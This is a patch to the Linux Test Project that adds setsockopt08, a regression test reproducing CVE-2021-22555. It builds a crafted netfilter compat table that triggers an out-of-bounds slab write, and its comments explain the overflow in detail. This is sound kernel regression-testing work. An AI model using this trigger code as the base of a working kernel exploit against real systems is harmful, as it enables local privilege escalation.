@@ -65,4 +65,5 @@ cve-2020-14416 pty03
cve-2020-25705 icmp_rate_limit01
cve-2020-29373 io_uring02
cve-2021-3444 bpf_prog05
+cve-2021-22555 setsockopt08 -i 100
cve-2021-26708 vsock01
@@ -1378,6 +1378,7 @@ setsockopt04 setsockopt04
setsockopt05 setsockopt05
setsockopt06 setsockopt06
setsockopt07 setsockopt07
+setsockopt08 setsockopt08
settimeofday01 settimeofday01
settimeofday02 settimeofday02
@@ -5,3 +5,4 @@
/setsockopt05
/setsockopt06
/setsockopt07
+/setsockopt08
new file mode 100644
@@ -0,0 +1,156 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 SUSE LLC <rpalethorpe@suse.com>
+ * Based on reproducer by Nicolai Stange based on PoC Andy Nguyen
+ */
+/*\
+ * [Description]
+ *
+ * This will reproduce the bug on x86_64 in 32bit compatibility
+ * mode. It is most reliable with KASAN enabled. Otherwise it relies
+ * on the out-of-bounds write corrupting something which leads to a
+ * crash. It will run in other scenarious, but is not a test for the
+ * CVE.
+ *
+ * See https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
+ *
+ * Also below is Nicolai's detailed description of the bug itself.
+ *
+ * The problem underlying CVE-2021-22555 fixed by upstream commit
+ * b29c457a6511 ("netfilter: x_tables: fix compat match/target pad
+ * out-of-bound write") is that the (now removed) padding zeroing code
+ * in xt_compat_target_from_user() had been based on the premise that
+ * the user specified ->u.user.target_size, which will be considered
+ * for the target buffer allocation size, is greater or equal than
+ * what's needed to fit the corresponding xt_target instance's
+ * ->targetsize: if OTOH the user specified ->u.user.target_size is
+ * too small, then the memset() destination address calculated by
+ * adding ->targetsize to the payload start will not point at, but
+ * into or even past the padding. For the table's last entry's target
+ * record, this will result in an out-of-bounds write past the
+ * destination buffer allocated for the converted table. The code
+ * below will create a (compat) table such that the converted table's
+ * calculated size will fit exactly into a slab size of 1024 bytes and
+ * that the memset() in xt_compat_target_from_user() will write past
+ * this slab.
+ *
+ * The table will consist of
+ * - the mandatory struct compat_ipt_replace header,
+ * - a single entry consisting of
+ * - the mandatory compat_ipt_entry header
+ * - a single 'state' match entry of appropriate size for
+ * controlling the out-of-bounds write when converting
+ * the target entry following next,
+ * - a single 'REJECT' target entry.
+ * The kernel will transform this into a buffer containing (in
+ * this order)
+ * - a xt_table_info
+ * - a single entry consisting of
+ * - its ipt_entry header
+ * - a single 'state' match entry
+ * - followed by a single 'REJECT' target entry.
+ *
+ * The expected sizes for the 'state' match entries as well as the
+ * 'REJECT' target are the size of the base header struct (32 bytes)
+ * plus the size of an unsigned int (4 bytes) each. In the course of
+ * the compat => non-compat conversion, the kernel will insert four
+ * bytes of padding after the unsigned int payload (c.f. 'off'
+ * adjustments via xt_compat_match_offset() and
+ * xt_compat_target_offset() in xt_compat_match_from_user() and
+ * xt_compat_target_from_user() resp.). This code is based on the
+ * premise that the user sets the given ->u.user.match_size or
+ * ->u.user.target_size consistent to the COMPAT_XT_ALIGN()ed payload
+ * size as specified by the corresponding xt_match instance's
+ * ->matchsize or xt_target instance's ->targetsize. That is, the
+ * padding gets inserted unconditionally during the transformation,
+ * independent of the actual values of ->u.user.match_size or
+ * ->u.user.target_size and the result ends up getting layed out with
+ * proper alignment only if said values match the expectations. That's
+ * not a problem in itself, but this unconditional insertion of
+ * padding must be taken into account in the match_size calculation
+ * below.
+ *
+ * For the match_size calculation below, note that the chosen
+ * target slab size is 1024 and that
+ * - sizeof(xt_table_info) = 64
+ * - sizeof(ipt_entry) = 112
+ * - the kernel will insert four bytes of padding
+ * after the match and target entries each.
+ * - sizeof(struct xt_entry_target) = 32
+ */
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "lapi/ip_tables.h"
+#include "lapi/namespaces_constants.h"
+
+static void *buffer;
+
+void setup(void)
+{
+ if (tst_kernel_bits() == 32 || sizeof(long) > 4) {
+ tst_res(TCONF,
+ "The vulnerability was only present in 32-bit compat mode");
+ }
+
+ SAFE_UNSHARE(CLONE_NEWUSER);
+ SAFE_UNSHARE(CLONE_NEWNET);
+}
+
+void run(void)
+{
+ struct ipt_replace *ipt_replace = buffer;
+ struct ipt_entry *ipt_entry = &ipt_replace->entries[0];
+ struct xt_entry_match *xt_entry_match =
+ (struct xt_entry_match *)&ipt_entry->elems[0];
+ const size_t tgt_size = 32;
+ const size_t match_size = 1024 - 64 - 112 - 4 - tgt_size - 4;
+ struct xt_entry_target *xt_entry_tgt =
+ ((struct xt_entry_target *) (&ipt_entry->elems[0] + match_size));
+ int fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+
+ xt_entry_match->u.user.match_size = (u_int16_t)match_size;
+ strcpy(xt_entry_match->u.user.name, "state");
+
+ xt_entry_tgt->u.user.target_size = (u_int16_t)tgt_size;
+ strcpy(xt_entry_tgt->u.user.name, "REJECT");
+
+ ipt_entry->target_offset =
+ (__builtin_offsetof(struct ipt_entry, elems) + match_size);
+ ipt_entry->next_offset = ipt_entry->target_offset + tgt_size;
+
+ strcpy(ipt_replace->name, "filter");
+ ipt_replace->num_entries = 1;
+ ipt_replace->num_counters = 1;
+ ipt_replace->size = ipt_entry->next_offset;
+
+ TST_EXP_FAIL(setsockopt(fd, IPPROTO_IP, IPT_SO_SET_REPLACE, buffer, 1),
+ EINVAL,
+ "setsockopt(%d, IPPROTO_IP, IPT_SO_SET_REPLACE, %p, 1)",
+ fd, buffer);
+
+ SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+ .setup = setup,
+ .test_all = run,
+ .taint_check = TST_TAINT_W | TST_TAINT_D,
+ .forks_child = 1,
+ .bufs = (struct tst_buffers []) {
+ {&buffer, .size = 2048},
+ {},
+ },
+ .needs_kconfigs = (const char *[]) {
+ "CONFIG_NETFILTER_XT_MATCH_STATE",
+ "CONFIG_IP_NF_TARGET_REJECT",
+ "CONFIG_USER_NS=y",
+ "CONFIG_NET_NS=y",
+ NULL
+ },
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "b29c457a6511"},
+ {"CVE", "2021-22555"},
+ {}
+ }
+};
This is a copy and paste of Nicolai's reproducer. The main difference is that I moved some code around. Of course I also used LTP library features, but essentially it works the same. There are some hard coded values which I do not like. I guess these could be calculated or varied somehow. However I struggle to understand what the kernel is doing. This perhaps needs more investigation. We could try generalising this test and setsockopt03. Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com> Fixes: #850 --- runtest/cve | 1 + runtest/syscalls | 1 + .../kernel/syscalls/setsockopt/.gitignore | 1 + .../kernel/syscalls/setsockopt/setsockopt08.c | 156 ++++++++++++++++++ 4 files changed, 159 insertions(+) create mode 100644 testcases/kernel/syscalls/setsockopt/setsockopt08.c